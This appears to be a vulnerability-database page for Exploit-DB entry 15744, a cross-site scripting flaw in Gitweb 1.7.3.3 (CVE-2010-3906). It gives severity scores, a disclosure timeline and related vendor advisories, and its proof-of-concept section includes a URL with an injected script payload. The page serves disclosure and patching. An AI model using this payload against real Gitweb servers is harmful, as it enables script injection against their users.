Lucene search
EmgentEDB-ID:15744HistoryDec 15, 2010 - 12:00 a.m.
gitWeb 1.7.3.3 - Cross-Site Scripting
2010-12-1500:00:00
emgent
www.exploit-db.com
29
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.8 Medium
AI Score
Confidence
Low
0.03 Low
EPSS
Percentile
90.9%
>-8 Description 8-<
Cross-site scripting (XSS) vulnerability in Gitweb 1.7.3.3 and previous versions
allows remote attackers to inject arbitrary web script or HTML code via f and fp variables.
>-8 Proof Of Concept 8-<
http://localhost/?p=foo/bar/ph33r.git;a=blobdiff;f=[XSS];fp=[XSS]
[XSS] => "><body onload="alert('xss')"> <a
>-8 Credits 8-<
Emanuele 'emgent' Gentili <[email protected]>
>-8 Responsible Disclosure 8-<
13-12-2010 Initial contact with upstream and vendor-sec
13-12-2010 Vendor Response and CVE-2010-3906 assignation
15-12-2010 Public DisclosureRelated
oraclelinux
oraclelinux
git security update
2011-02-10 00:00:00
git security update
2013-03-04 00:00:00
nessus
nessus
Oracle Linux 6 : git (ELSA-2010-1003)
2013-07-12 00:00:00
Fedora 13 : git-1.7.3.4-1.fc13 (2010-18973)
2011-01-04 00:00:00
RHEL 6 : git (RHSA-2010:1003)
2010-12-22 00:00:00
cve
cve
CVE-2010-3906
2010-12-17 19:00:20
openvas
openvas
Mandriva Update for git MDVSA-2010:256 (git)
2010-12-28 00:00:00
Fedora Update for git FEDORA-2010-18981
2010-12-28 00:00:00
Fedora Update for git FEDORA-2010-18973
2011-01-11 00:00:00
debian
debian
[BSA-024] Security Update for git
2011-02-14 09:09:06
prion
prion
Cross site scripting
2010-12-17 19:00:00
fedora
fedora
[SECURITY] Fedora 14 Update: git-1.7.3.4-1.fc14
2010-12-23 19:57:37
[SECURITY] Fedora 13 Update: git-1.7.3.4-1.fc13
2011-01-03 20:00:05
altlinux
altlinux
Security fix for the ALT Linux 5 package git version 1.7.3.4-alt1
2010-12-16 00:00:00
Security fix for the ALT Linux 5 package git version 1.7.3.5-alt0.M50P.1
2011-01-20 00:00:00
Security fix for the ALT Linux 10 package git version 1.7.3.4-alt1
2010-12-16 00:00:00
packetstorm
packetstorm
Gitweb 1.7.3.3 Cross Site Scripting
2010-12-16 00:00:00
debiancve
debiancve
CVE-2010-3906
2010-12-17 19:00:20
exploitpack
exploitpack
gitWeb 1.7.3.3 - Cross-Site Scripting
2010-12-15 00:00:00
nvd
nvd
CVE-2010-3906
2010-12-17 19:00:20
cvelist
cvelist
CVE-2010-3906
2010-12-17 18:00:00
redhat
redhat
(RHSA-2010:1003) Moderate: git security update
2010-12-21 00:00:00
seebug
seebug
Gitweb <= 1.7.3.3 - Cross Site Scripting
2014-07-01 00:00:00
ubuntucve
ubuntucve
CVE-2010-3906
2010-12-17 00:00:00
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.8 Medium
AI Score
Confidence
Low
0.03 Low
EPSS
Percentile
90.9%
Related for EDB-ID:15744